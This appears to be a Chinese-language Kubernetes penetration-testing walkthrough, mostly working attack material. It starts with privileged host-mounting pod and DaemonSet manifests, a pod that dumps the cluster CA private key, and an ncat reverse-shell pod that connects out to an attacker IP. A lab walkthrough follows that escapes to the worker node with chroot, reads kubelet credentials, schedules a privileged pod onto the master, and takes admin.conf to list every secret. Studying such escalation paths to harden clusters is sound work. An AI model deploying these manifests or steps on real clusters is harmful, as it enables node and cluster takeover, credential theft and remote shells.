apiVersion: v1
kind: Pod
metadata:
name: noderootpod
labels:
spec:
tolerations:
- key: node-role.kubernetes.io/master
effect: NoSchedule
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: noderootpod
image: busybox
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: noderootdaemon
labels:
spec:
selector:
matchLabels:
name: noderootdaemon
template:
metadata:
labels:
name: noderootdaemon
spec:
tolerations:
- key: node-role.kubernetes.io/master
effect: NoSchedule
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: noderootpod
image: busybox
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
apiVersion: v1
kind: Pod
metadata:
name: keydumper-pod
labels:
app: keydumper
spec:
tolerations:
- key: node-role.kubernetes.io/master
effect: NoSchedule
containers:
- name: keydumper-pod
image: busybox
volumeMounts:
- mountPath: /pki
name: keyvolume
command: ['cat', '/pki/ca.key']
volumes:
- name: keyvolume
hostPath:
path: /etc/kubernetes/pki
type: Directory
apiVersion: v1
kind: Pod
metadata:
name: ncat-reverse-shell-pod
spec:
tolerations:
- key: node-role.kubernetes.io/master
effect: NoSchedule
containers:
- name: ncat-reverse-shell
image: raesene/ncat
volumeMounts:
- mountPath: /host
name: hostvolume
args: ['[IP]', '8989', '-e', '/bin/bash']
volumes:
- name: hostvolume
hostPath:
path: /
type: Directory
Kind 部署 1master 2worker(v1.23) 集群。k8s环境搭建
#everything-allowed-exec-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
kubectl apply -f everything-allowed-exec-pod.yaml
kubectl get pods
kubectl exec -it everything-allowed-exec-pod -- /bin/bash
因为设置了hostNetwork 共享,虽然我们这里进入的是pod但是却显示着节点的名字,同时我们也相当于有了节点的权限,而不单单是pod权限
hostNetwork: true: 允许 Pod 使用主机的网络命名空间。
hostPID: true: 允许 Pod 使用主机的进程命名空间。
hostIPC: true: 允许 Pod 使用主机的 IPC 命名空间。
securityContext: privileged: true: 将容器设置为特权容器,具有主机上的所有权限。
第一个是 Pod 中容器的根目录,第二个是挂载到容器中宿主机(demo-worker节点)的根目录
进程也共享, ps -aux
特权下也能查看节点上的挂载信息 mount
在 Pod 上通过挂载目录可以看见节点的文件系统,但是 Pod 中无 ip 这个命令,
chroot 命令用于改变进程的根文件系统目录,下方命令会将容器的根文件系统更改为节点的根文件系统,实际上是将容器"切换"到节点的文件系统环境中,这样的操作通常需要特权容器或其他相关的权限配置
chroot /host
执行完后我们将处于节点文件系统的环境中,而不再处于容器的文件系统中,可以直接列出节点的文件系统,并且可以使用节点上的 ip 命令,这在 pod 中是不存在的,
ip a |grep inet
kubectl get node -o wide
通过上帝视角查看demo-worker节点的IP,与上面相符。
自此,拥有demo-worker 这个节点的所有权限。
目前我们已经拿到了 demo-worker 这个节点的所有权限,
节点上kubelet的凭证在 /etc/kubernetes/kubelet.conf 中,凭证拥有默认的权限,里面也存在集群 ApiServer 的地址,
cat /etc/kubernetes/kubelet.conf
获取集群版本
curl -k https://demo-control-plane:6443/version
下载 kubectl 方便后续操作,一般建议使用与目标集群相同版本的 kubectl,或者比目标集群版本低一个小版本的kubectl
#在恶意pod中运行
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
kubectl version
查看当前节点权限,很安全,没有什么很特别的权限,
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf auth can-i --list
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes
虽然该节点没有 list node
权限,但是我们仍然可以列出了,因为节点信息通常对所有用户都是可见的,并且不受 RBAC 规则的限制。
下面提供几个思路。当然不是全部。
将 nodeName 赋值为 master 节点名,可以强制将该 Pod 调度到该节点上运行。上面的信息收集中我们已经知道了 master 节点名 demo-control-plane
注意这里创建 everything-allowed-exec-pod-master 利用的是先决条件中拥有的权限,而不是在已经被我们完全控制的 demo-worker 节点上,更何况这个节点并没有创建 Pod 的权限。
#everything-allowed-exec-pod-master.yaml
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod-master
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
nodeName: demo-control-plane
containers:
- name: everything-allowed-pod-master
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
EOF
kubectl get pods
确实也成功运行在了 master 节点上了,
kubectl get pods -owide | grep everything-allowed-exec-pod-master
kubectl exec -it everything-allowed-exec-pod-master -- /bin/bash
chroot /host
#下载 kubectl,
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
kubectl version
#查看配置目录,获取到高权限凭据,
ls /etc/kubernetes
自此,拥有集群所有权限,结束
#- 检查当前用户/服务账户在所有命名空间中的操作权限
kubectl --kubeconfig=/etc/kubernetes/admin.conf auth can-i --list
#查看集群中所有命名空间的 Secret 资源
kubectl --kubeconfig=/etc/kubernetes/admin.conf get secrets -A